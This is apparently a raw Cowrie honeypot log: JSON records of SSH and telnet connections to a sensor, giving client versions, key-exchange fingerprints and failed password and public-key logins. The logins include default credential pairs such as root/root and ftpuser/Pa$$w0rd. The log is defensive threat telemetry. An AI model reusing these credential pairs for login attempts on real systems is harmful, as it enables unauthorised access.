{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:34.309473Z","src_ip":"5.182.83.231","session":"9b60cc3d21a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"Pa$$w0rd","message":"login attempt [ftpuser/Pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:34.806923Z","src_ip":"5.182.83.231","session":"9b60cc3d21a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:35.927084Z","src_ip":"5.182.83.231","session":"9b60cc3d21a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.56.159.185","src_port":35718,"dst_ip":"159.203.135.109","dst_port":22,"session":"34a0fe522bf9","protocol":"ssh","message":"New connection: 50.56.159.185:35718 (159.203.135.109:22) [session: 34a0fe522bf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:37.529759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:37.959372Z","src_ip":"50.56.159.185","session":"34a0fe522bf9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:37.963255Z","src_ip":"50.56.159.185","session":"34a0fe522bf9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:40.071937Z","src_ip":"50.56.159.185","session":"34a0fe522bf9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:41.541705Z","src_ip":"50.56.159.185","session":"34a0fe522bf9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":38174,"dst_ip":"159.203.135.109","dst_port":23,"session":"5435be23beb0","protocol":"telnet","message":"New connection: 69.4.83.194:38174 (159.203.135.109:23) [session: 5435be23beb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:43.786301Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":53244,"dst_ip":"159.203.135.109","dst_port":22,"session":"d746c5ad9660","protocol":"ssh","message":"New connection: 103.148.100.146:53244 (159.203.135.109:22) [session: d746c5ad9660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:52.246129Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:52.251089Z","src_ip":"103.148.100.146","session":"d746c5ad9660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:52.516493Z","src_ip":"103.148.100.146","session":"d746c5ad9660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"0","message":"login attempt [ubuntu/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:53.608084Z","src_ip":"103.148.100.146","session":"d746c5ad9660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:09:54.883050Z","src_ip":"103.148.100.146","session":"d746c5ad9660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.90.8.86","src_port":60926,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b413ce22296","protocol":"ssh","message":"New connection: 200.90.8.86:60926 (10.17.0.5:22) [session: 0b413ce22296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:00.049642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:00.056598Z","src_ip":"200.90.8.86","session":"0b413ce22296","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:00.151489Z","src_ip":"200.90.8.86","session":"0b413ce22296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:00.547136Z","src_ip":"200.90.8.86","session":"0b413ce22296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:01.643303Z","src_ip":"200.90.8.86","session":"0b413ce22296","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.245.161","src_port":35458,"dst_ip":"10.17.0.5","dst_port":22,"session":"e86d9035823e","protocol":"ssh","message":"New connection: 148.153.245.161:35458 (10.17.0.5:22) [session: e86d9035823e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:03.208686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:03.219215Z","src_ip":"148.153.245.161","session":"e86d9035823e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:03.268553Z","src_ip":"148.153.245.161","session":"e86d9035823e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:ab:d5:f9:5c:46:f7:59:25:be:38:9e:26:2d:50:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoxyMueY1Vrwnj+tlS5QW/LqD3zxsLPikLMoxpoiHzEpjnjFlHyCJKpUqrNNmtReADQnmH8MttKvIfu7rXS2vgRUV/52v21ijmBJCqWnSzLlmYdYTkG9HTZ7fcVVwlNv9zvBS0wyu9b1fRfzbkxiBvOfs+BZZlk84LV6gLqsDHKEII1LAdIE7h3aidywJckSWR3I7h/lGZwhT1YtonQNGqBeJz4mpF3OOiKT+Hxyx8XMVhDv3DGIrbZsG7zZCmdKmwDl2+LE2sne/Ej5uCubbFfDFtAS4Pdxile7r0SBxpFfsIQcQk/JjyZ0TfOODCqJjjQlMKMnsORqTK1gGj6Nwr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:ab:d5:f9:5c:46:f7:59:25:be:38:9e:26:2d:50:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:03.470732Z","src_ip":"148.153.245.161","session":"e86d9035823e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:ab:d5:f9:5c:46:f7:59:25:be:38:9e:26:2d:50:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoxyMueY1Vrwnj+tlS5QW/LqD3zxsLPikLMoxpoiHzEpjnjFlHyCJKpUqrNNmtReADQnmH8MttKvIfu7rXS2vgRUV/52v21ijmBJCqWnSzLlmYdYTkG9HTZ7fcVVwlNv9zvBS0wyu9b1fRfzbkxiBvOfs+BZZlk84LV6gLqsDHKEII1LAdIE7h3aidywJckSWR3I7h/lGZwhT1YtonQNGqBeJz4mpF3OOiKT+Hxyx8XMVhDv3DGIrbZsG7zZCmdKmwDl2+LE2sne/Ej5uCubbFfDFtAS4Pdxile7r0SBxpFfsIQcQk/JjyZ0TfOODCqJjjQlMKMnsORqTK1gGj6Nwr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:03.475157Z","src_ip":"148.153.245.161","session":"e86d9035823e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"45:b0:8c:54:04:42:71:38:8a:eb:48:e3:0c:6c:66:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDYvEniR5Dhf7nJfD/OnIM3hb/f2nd2MBHl4oA2Nwq9YbrnIlLuvgDwUVlTYztvAUCZSrKClgetLqXi0LGp2yFEr5nz1sZfcIjfoHSlJbtZ/n+QqE89Y0jmz8nB7tdnnHrcjTK0pbPC1DaL1W8e+YSi0rKs8RKD0XOFL2nXgIKIKKFBII0TA7rd2h5gRVbX7JJFO7hJ86Xfjnby5k9YNNQhFlMbgwT3yw7GWD63pNcmVpzOELfSH5KHe87fNIJygadQMBaT3iomT/2izW1oPgjrh875Vw0Us3ihv/FYGeRrZb6t34W9Xf7Uk41tCSAk8W3r/A9VHU9cYZipKOM9oAL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 45:b0:8c:54:04:42:71:38:8a:eb:48:e3:0c:6c:66:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:03.521577Z","src_ip":"148.153.245.161","session":"e86d9035823e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"45:b0:8c:54:04:42:71:38:8a:eb:48:e3:0c:6c:66:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDYvEniR5Dhf7nJfD/OnIM3hb/f2nd2MBHl4oA2Nwq9YbrnIlLuvgDwUVlTYztvAUCZSrKClgetLqXi0LGp2yFEr5nz1sZfcIjfoHSlJbtZ/n+QqE89Y0jmz8nB7tdnnHrcjTK0pbPC1DaL1W8e+YSi0rKs8RKD0XOFL2nXgIKIKKFBII0TA7rd2h5gRVbX7JJFO7hJ86Xfjnby5k9YNNQhFlMbgwT3yw7GWD63pNcmVpzOELfSH5KHe87fNIJygadQMBaT3iomT/2izW1oPgjrh875Vw0Us3ihv/FYGeRrZb6t34W9Xf7Uk41tCSAk8W3r/A9VHU9cYZipKOM9oAL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:03.536583Z","src_ip":"148.153.245.161","session":"e86d9035823e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:ce:1a:78:62:62:d3:58:9f:d1:83:42:b2:e1:24:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbzpbZqRl/8CMMA/V7I4APyxMoyjQleoSH6yfsIwKGarnbeAyYzjFYKPFhuTjA7ZxWNRwLfHTGatUxcL8M4/PcSDO/RwsxZpc4DME4AtCiJX+JQBT9rlW8q3rfFrd8t2ND6n5b+8fs9D03WR5/Nb7PpxIpQkenmTPuL1czOjezVbQ4gmw1TYZHM+e4EK95A3AqSuRt0xYxgeP2dG8ZeCr1PT3w3w97pUVUyvcip7V25sWp18bd0I9ZFTWSGPorKI5gohY9ibNOB4Qe6kY5OSjxN7NlFOXG1zkbuBII1LyBPHHFEpLR5IBJPrySKuQfboK90lRd4mlisi8orQRw9LyJI49gNcoPVczz0d/B+pIzrTwYeZXgbu1HCHg1HGnbiUq9fbJ7zftNS0k/+duxi4XFtufKcmPACEfeP1tiDkCusXLrb4GSGetWo/LrGC2BCdvKcBrR5kI3bMASELuGLlhgaac3BsQy1GnqjWJ2s5KBtNe8I7OC5d6T+c5w9g8VmSlB4+GLQy6qAeNzZbtZZ7VzaFP+2QuNSutBXDBATmnJ93k7OfPjbi32P9hKwIfjqmYqwHNWMq20jYYxmABo6RDZkBSuh1m+e6LUAUBG9N/jC3DkAtSxNLCxuWM+L4w7VA4FN///ijikBdPlCsJkwK6DF7fPDrwb0lS1tzl3/C2Hdw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:ce:1a:78:62:62:d3:58:9f:d1:83:42:b2:e1:24:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:03.596866Z","src_ip":"148.153.245.161","session":"e86d9035823e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:ce:1a:78:62:62:d3:58:9f:d1:83:42:b2:e1:24:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbzpbZqRl/8CMMA/V7I4APyxMoyjQleoSH6yfsIwKGarnbeAyYzjFYKPFhuTjA7ZxWNRwLfHTGatUxcL8M4/PcSDO/RwsxZpc4DME4AtCiJX+JQBT9rlW8q3rfFrd8t2ND6n5b+8fs9D03WR5/Nb7PpxIpQkenmTPuL1czOjezVbQ4gmw1TYZHM+e4EK95A3AqSuRt0xYxgeP2dG8ZeCr1PT3w3w97pUVUyvcip7V25sWp18bd0I9ZFTWSGPorKI5gohY9ibNOB4Qe6kY5OSjxN7NlFOXG1zkbuBII1LyBPHHFEpLR5IBJPrySKuQfboK90lRd4mlisi8orQRw9LyJI49gNcoPVczz0d/B+pIzrTwYeZXgbu1HCHg1HGnbiUq9fbJ7zftNS0k/+duxi4XFtufKcmPACEfeP1tiDkCusXLrb4GSGetWo/LrGC2BCdvKcBrR5kI3bMASELuGLlhgaac3BsQy1GnqjWJ2s5KBtNe8I7OC5d6T+c5w9g8VmSlB4+GLQy6qAeNzZbtZZ7VzaFP+2QuNSutBXDBATmnJ93k7OfPjbi32P9hKwIfjqmYqwHNWMq20jYYxmABo6RDZkBSuh1m+e6LUAUBG9N/jC3DkAtSxNLCxuWM+L4w7VA4FN///ijikBdPlCsJkwK6DF7fPDrwb0lS1tzl3/C2Hdw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:03.601202Z","src_ip":"148.153.245.161","session":"e86d9035823e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:7b:9c:0a:eb:6e:c1:a0:5b:ac:f7:72:45:11:99:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+NVsNtJforaallNTgjcb0uUThwftvj+7PV6lALOSWHyBWtf007o41Tx70AjWBDljL9aBYrSha+2nLP5zS1q03Z5gkWULtjDD7wTQPlxrLviL4F008U15YXtKIsrAiibGT+W/PF5VQ4Yi8Alm9XdFLJp83GIb2XE9dtgDiGFNlx/aHQRoiqdVRu77dxt+BX19zbwvMt1IruhI5u73yvJZeniwa06CEQAntY2TzrdEPllNN3S2m30u6W3Yd4YbLpIja79rzFrdi7yq2nz3RAuGGIwUMMe+MNPqwt/4ZfrmAH5O4kPrQC3ca6MDsnUtj3wpiKAEbVs/36T2bZLCNR2/l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:7b:9c:0a:eb:6e:c1:a0:5b:ac:f7:72:45:11:99:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:03.655083Z","src_ip":"148.153.245.161","session":"e86d9035823e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:7b:9c:0a:eb:6e:c1:a0:5b:ac:f7:72:45:11:99:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+NVsNtJforaallNTgjcb0uUThwftvj+7PV6lALOSWHyBWtf007o41Tx70AjWBDljL9aBYrSha+2nLP5zS1q03Z5gkWULtjDD7wTQPlxrLviL4F008U15YXtKIsrAiibGT+W/PF5VQ4Yi8Alm9XdFLJp83GIb2XE9dtgDiGFNlx/aHQRoiqdVRu77dxt+BX19zbwvMt1IruhI5u73yvJZeniwa06CEQAntY2TzrdEPllNN3S2m30u6W3Yd4YbLpIja79rzFrdi7yq2nz3RAuGGIwUMMe+MNPqwt/4ZfrmAH5O4kPrQC3ca6MDsnUtj3wpiKAEbVs/36T2bZLCNR2/l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:03.659742Z","src_ip":"148.153.245.161","session":"e86d9035823e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:d2:52:00:f3:7f:b3:35:35:b7:75:1c:83:92:53:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyRgZ9RDItnGfoKRExXocfiWrV7kzDTiHhmCZ5tpZxssPVPLACzAcfLp8WY/UCHtPDkUXdaOjMulIv3drEEjAghlLmqhXfqEcwmkP1ussg1hHh1Vt8Cd3A7ePiQ6mas1lUroGmNP5d4XIWnKP8pXLLI/ljn1QtEFnnvbqTcttd7zvMy/asvQvt3behUskeBP/u7vgShBrPkLdn3mKA1qFT6RN42hS0g3CgUJWlWLcUSoo+VZg1gFYedCm4hV2DS2oKqEaNcLcltza3sYo7DZQeCbE7b4EA9k63PU0/neKLXiOJnYP4mNmFlPsaP33MzXuYWGSA2tG92Zpx0jGp89Q3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:d2:52:00:f3:7f:b3:35:35:b7:75:1c:83:92:53:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T08:10:03.716033Z","src_ip":"148.153.245.161","session":"e86d9035823e","protocol":"ssh"}
